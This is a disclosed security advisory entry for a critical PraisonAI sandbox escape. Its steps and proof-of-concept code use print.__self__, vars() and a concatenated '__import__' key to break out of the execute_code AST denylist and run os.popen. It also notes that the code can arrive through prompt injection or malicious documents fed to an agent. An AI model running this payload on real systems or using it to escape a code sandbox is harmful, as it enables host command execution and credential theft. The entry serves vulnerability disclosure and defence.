# PraisonAI vulnerable to sandbox escape via `print.__self__` builtins module leak in `execute_code` (subprocess mode)

PraisonAI's AST denylist sandbox in execute_code is escaped via print.__self__ to reach builtins, then vars() to extract __import__ and run OS commands.

- Payout: Research
- Severity: critical
- Program: PraisonAI
- Found by: q1uf3ng
- Disclosed: 2026-05-29
- CVE: CVE-2026-47392
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-4mr5-g6f9-cfrh
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-4mr5-g6f9-cfrh
- Tags: area:ai domain:ai impact:rce kind:research platform:ghsa sev:critical tech:python technique:incomplete-fix technique:source-review vuln:command-injection vuln:rce vuln:sandbox-escape

**Target:** Python AST-based code execution sandbox (execute_code, subprocess mode)
**Root cause:** The AST denylist omits __self__ and vars, only checks bare ast.Name calls (not Attribute/Subscript), and only matches literal string constants, so builtins can be reached and __import__ reconstructed at runtime.
**Steps:**
1. Call `print.__self__` to obtain the real builtins module (not in `_blocked_attrs`).
2. Call `b.vars(b)` to get `builtins.__dict__` containing `__import__` (vars not blocked; Call func is Attribute, not Name).
3. Build the key at runtime: `key = "_" + "_" + "import" + "_" + "_"` so no Constant contains a blocked substring.
4. Index `d[key]` (Subscript not checked) to retrieve `__import__`.
5. `imp("os")` then `mod.popen("id").read()` to execute host commands.
**How found:** Code-read the AST validator: noticed `_blocked_attrs` lacks `__self__`, the Call check only fires on `ast.Name`, and the string check only matches literals — then reasoned that builtin functions leak their module and vars() exposes __dict__, reconstructing __import__ via concatenation.
**Exploitation:** Attacker supplies code to execute_code (via prompt injection, malicious document, or direct submission); the 4-line payload escapes the sandbox and runs arbitrary OS commands as the process user, enabling file access, env/credential exfiltration and pivoting.
**Escalation:** Chains prior-patch bypasses (CVE-2026-39888 frame traversal, CVE-2026-34938 str subclass, CVE-2026-40158 type.__getattribute__ trampoline) — this novel primitive survives all of them.
**Insight:** In AST denylist sandboxes, builtin C functions leak their parent module via `__self__`; also check whether dangerous-call detection handles ast.Attribute/ast.Subscript func nodes and whether string checks catch BinOp concatenation — each gap is an independent escape.

## Proof of concept (copied exactly from the original report)

**Python PoC escaping sandbox via print.__self__**

```
from praisonaiagents.tools.python_tools import execute_code

# Exploit: 4 lines, bypasses ALL security layers
payload = """
b = print.__self__
d = b.vars(b)
key = "_" + "_" + "import" + "_" + "_"
imp = d[key]
mod = imp("os")
print(mod.popen("id").read())
"""
```

